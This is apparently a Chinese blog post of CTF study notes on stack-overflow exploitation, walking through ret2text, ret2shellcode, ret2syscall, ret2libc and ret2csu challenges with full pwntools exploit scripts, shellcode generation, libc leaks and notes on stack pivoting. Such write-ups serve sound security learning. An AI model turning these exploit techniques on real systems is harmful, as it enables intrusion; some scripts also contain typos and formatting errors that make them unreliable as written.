Rop

栈介绍
栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,程序的栈是从进程地址空间的高地址向低地址增长的

栈溢出(ROP)

寻找危险函数

  • gets()函数:(输入不会限制长度,不会被'\x00'截断)
  • read()函数:(读的数据长度比输入的字符&buf的长度长,能够造成溢出)
  • write()函数:(写入的数据长度比输入的字符&buf的长度长,能够造成溢出)

确定填充长度

  • 通过ida靠栈的基地址,和ebp/rbp的地址偏移找到。
  • 通过调试出入比填充长度长的数据,让程序报错,回显的地址与栈的ebp地址相差的距离为填充长度.

题目类型

ret2text
例题就wiki的ret2text
 
从main函数看出gets()函数是漏洞点。还能在字符串里面找到system和/bin/sh字样。
然后我们发现这个是一个无用的函数。
只需要这一部分就足够了。然后就测出偏移。基本上利用pwndbg自带的指令cyclc
cyclc 50 //生成50个用来溢出的字符,如:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
拿到相对于返回地址的偏移为112,也可以利用寄存器的参数来算偏移
由于esp = 0xffffce60ebp = 0xffffcee8 ,又由于在ida里面s[esp+0x1c],所以计算得s距离ebp的偏移为112.接下来就是写exp了.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
from pwn import *
 
context(log_level = "debug",arch = "i386",os = "linux")
 
io = process("./ret2text")
 
sys_addr = 0x0804863A
 
gdb.attach(io,"b *0x0804869B\nc")
payload = flat(['a'*112,sys_addr])
io.sendafter("anything?",payload)
 
io.sendline('ls')
io.interactive()
 
io.close()
本地打通
ret2shellcode
例题wiki的ret2shellcode
可以看到,输入gets。不过这次没有溢出的漏洞,也没有后门函数没法直接跳转到system上。而buf的地址却在bss段上.
这样我们也知道了buf_addr = 0x0804a080只要buf可以读写,那么我们就可以自己写一段shellcode来执行system()
通过vmmap我们看到了在程序0x0804a000-0x0804b000都可以读写,恰好buf的地址在这其中。接下来就是去寻找偏移了。
看保护什么都没开。进行调试找偏移。
 
gdb里面可以看到espebp的地址。然后通过计算得到偏移
获取偏移也可以利用pwntools自带的指令cyclic在返回报错那块能看到最后的返回函数是0x62616164,然后得到偏移
然后就是写exp了。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
from pwn import *
 
context(log_level = "debug",arch = "i386",os = "linux")
 
io = process("./ret2shellcode")
 
buf_addr = 0x0804A080
 
padding = 112
shellcode = asm(shellcraft.sh())#<-这里利用pwntools的asm()函数来写shellcode.
payload = flat([shellcode.ljust(padding,'A'),buf_addr])
 
io.recvuntil("No system for you this time !!!")
#gdb.attach(io,"b *0x80483d0\nc")
io.sendline(payload)
 
io.sendline("ls")
io.interactive()
运行得到shell
ret2syscall
ret2syscall相当于是控制程序执行系统调用来获取shell,用系统调用号来区分入口函数
可以看出没有什么栈溢出漏洞。需要我们去构造写入execve('/bin/sh')
关于系统调用:
> linux的32位系统调用通过int 80h来实现的。
>
> 应用程序调用系统调用的过程是:
>
> 1. 把系统调用的编号存入eax
> 2. 把函数参数存入其他通用寄存器
> 3. 触发0x80号中断(int 0x80
通过系统调用执行的是execve("/bin/sh",NULL,NULL)(32位)
然后看到eax的寄存器系统调用号,查看execve的系统调用号:
cat /usr/include/asm/unistd_32.h | grep execve
In[1]: hex(11)
Out[1]: '0xb'
所以exa里面应该放0xb,然后现在需要的就是:
> eax = 0xb
>
> exb = /bin/sh
>
> ecx = 0
>
> edx = 0
然后就需要用到ROPgadget
然后找到利用区域:
然后再找关于ebxret
找到利用位置。
padding = 112
payload = flat([padding * 'A',pop_eax,0xb,pop_3exx,0,0,binsh_addr,int_0x80])
至于为啥这样写,可以通过这个来解释:
利用这样依次填充
使得我们能够顺利执行payload。
<img src="https://i.loli.net/2021/04/20/kRjFOQo84JKSmNt.jpg" alt="ROPgadget-binsh.jpg" />
一如既往的计算。可以写exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
from pwn import *
 
context(log_level = "debug",arch = "i386",os = "linux")
 
io = process("./ret2syscall")
 
#ROPgadget to find pop-ret/int_0x80/binsh
pop_eax = 0x080bb196
pop_3exx = 0x0806eb90
padding = 112
int_0x80 = 0x08049421
binsh_addr = 0x080be408
 
#write payload
payload = flat([padding * 'A',pop_eax,0xb,pop_3exx,0,0,binsh_addr,int_0x80])
 
io.recvuntil("What do you plan to do?")
#gdb.attach(io,"b *0x804f650\nc")
io.sendline(payload)
 
io.sendline('ls')
io.interactive()
ret2libc
由于没给后门函数,以及libc库而题中只给了puts函数,然而我们通过objdump可以看到能利用puts函数的plt表和got
#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
from pwn import *
from LibcSearcher import *
 
context(log_level = "debug",arch = "i386",os = "linux")
 
io = process("./ret2libc")
if args.g:
gdb.attach(io)
elf = ELF("./ret2libc")
 
put_plt = elf.plt["puts"]
put_got = elf.got["puts"]
start = elf.sym["_start"]
 
payload1 = flat([112 * 'A',put_plt,start,put_got])#<-第一次泄露puts函数的地址
 
io.sendafter("!?",payload1)
 
puts_addr = u32(io.recv(4))
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.sym["puts"]
system = libcbase + libc.sym["system"]
binsh = libcbase + libc.sym["/bin/sh"]
 
payload2 = flat([112 * 'A',system,'0xdeadbeef',binsh])
 
io.recvuntil("!?")
io.sendline(payload2)
 
io.senline("ls")
io.interactive()
ret2csu
主要函数里面由于read读入过多,可以让我们进行构造来获得shell
传参的取处我们选择利用 __libc_csu_init函数的万能传参
利用这里的pop来进行传参。
在调试中进入write函数,看到rbprsp然后计算偏移
In [6]: rsp = 0x7fffffffdc48
In [7]: rbp = 0x7fffffffdcd0
In [8]: rbp-rsp Out[8]: 136
 
In [9]: hex(136) Out[9]: 0x88
写入一部分exp之后进行调试,可以看到write地址
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
 
context(log_level = "debug",arch = "amd64",os = "linux")
 
io = process("./level5")
if args.g:
gdb.attach(io)
#io = remote("pwn2.jarvisoj.com",9884)
 
elf = ELF("./level5",checksec=False)
lib = ELF("libc-2.19.so",checksec=False)
 
write_got = elf.got["write"]
read_got = elf.got["read"]
vulner_addr = elf.sym["vulnerable_function"]
bss_addr = elf.bss()
 
csu_op = 0x00400690
csu_ed = 0x004006AA
 
def csu(r12,rdx,rsi,rdi,ret):
global csu_ed,csu_op
payload1 = flat([0x88*'a',csu_ed,p64(0),p64(1),r12,rdx,rsi,rdi,csu_op,0x38*'a',ret])
io.recvuntil("Input:\n")
io.sendline(payload1)
sleep(1)
 
csu(write_got,8,write_got,1,vulner_addr)
write_addr = u64(io.recv(6).ljust(8,'\x00'))
libc = write_addr - lib.sym['write']
mprotect_addr = libc + lib.sym["mprotect"]
 
payload2 = flat([mprotect_addr,asm(shellcraft.sh())])#<-通过mprotect函数的来写入bss段,然后再执行mprotect,getshell
csu(read_got,len(payload2),bss_addr,0,vulner_addr)
io.send(payload2)
 
 
csu(bss_addr, 7, 0x1000, 0x600000, bss_addr + 8)
print 'bss_addr = ' + hex(bss_addr)
 
io.sendline('cat flag')
io.interactive()
最后得到flag.
另一种就是wiki上的构造execve/bin/sh来写入。wiki

栈迁移

栈迁移主要是说的leave指令:
mov esp,ebp
pop ebp
ret指令:
pop eip
  • 第一个指令会改变esp的值,第二个指令会改变ebp的值(ebp的值不是太重要)
  • 我们主要想控制的是esp的值,这里就要用到两个gadget(leave ret)第一个gadget用来改变ebp的值,第二个指令用来改变esp的值
栈迁移可以把栈迁移在bss段和堆上。然后再去执行rop链.
  • 记录了一个没利用过的栈迁移。(pwnable.tw)
通过对libc_csu_fini 的利用,由于libc_csu_fini 会调用一个 fini_array数组,而这个数组只有两个元素,而且当数组执行的时候,fini_array[1]fini_array[0]先利用。
void
__libc_csu_init (int argc, char **argv, char **envp)
{
/* For dynamically linked executables the preinit array is executed by
the dynamic linker (before initializing any shared object). */
 
#ifndef LIBC_NONSHARED
/* For static executables, preinit happens right before init. */
{
const size_t size = __preinit_array_end - __preinit_array_start;
size_t i;
for (i = 0; i < size; i++)
(*__preinit_array_start [i]) (argc, argv, envp);
}
#endif
 
#ifndef NO_INITFINI
_init ();
#endif
 
const size_t size = __init_array_end - __init_array_start;
for (size_t i = 0; i < size; i++)
(*__init_array_start [i]) (argc, argv, envp);
}
 
/* This function should not be used anymore. We run the executable's
destructor now just like any other. We cannot remove the function,
though. */
void
__libc_csu_fini (void)
{
#ifndef LIBC_NONSHARED
size_t i = __fini_array_end - __fini_array_start;
while (i-- > 0)
(*__fini_array_start [i]) ();
 
# ifndef NO_INITFINI
_fini ();
# endif
#endif
}
可以看到,init调用init_array,fini 调用 fini_array 而且init_array是从0开始迭代增长,fini_array从i下标开始向0迭代.
而且由于 程序一开始是从 start函数进行
STATIC int
LIBC_START_MAIN (int (*main) (int, char **, char ** MAIN_AUXVEC_DECL),
int argc, char **argv,
#ifdef LIBC_START_MAIN_AUXVEC_ARG
ElfW(auxv_t) *auxvec,
#endif
__typeof (main) init,
void (*fini) (void),
void (*rtld_fini) (void), void *stack_end)
__libc_start_main( main, argc, argv, __libc_csu_init, __libc_csu_fini, edx, top of stack);
执行流程就如_start -> __libc_start_main -> init -> main -> fini
利用流程大致是这样,进行修改,无限循环main,这样也能方便复写。(想到这样操作的是真的强)
posted @ 2022-02-25 20:56  m1m0ry  阅读(21)  评论(0编辑  收藏  举报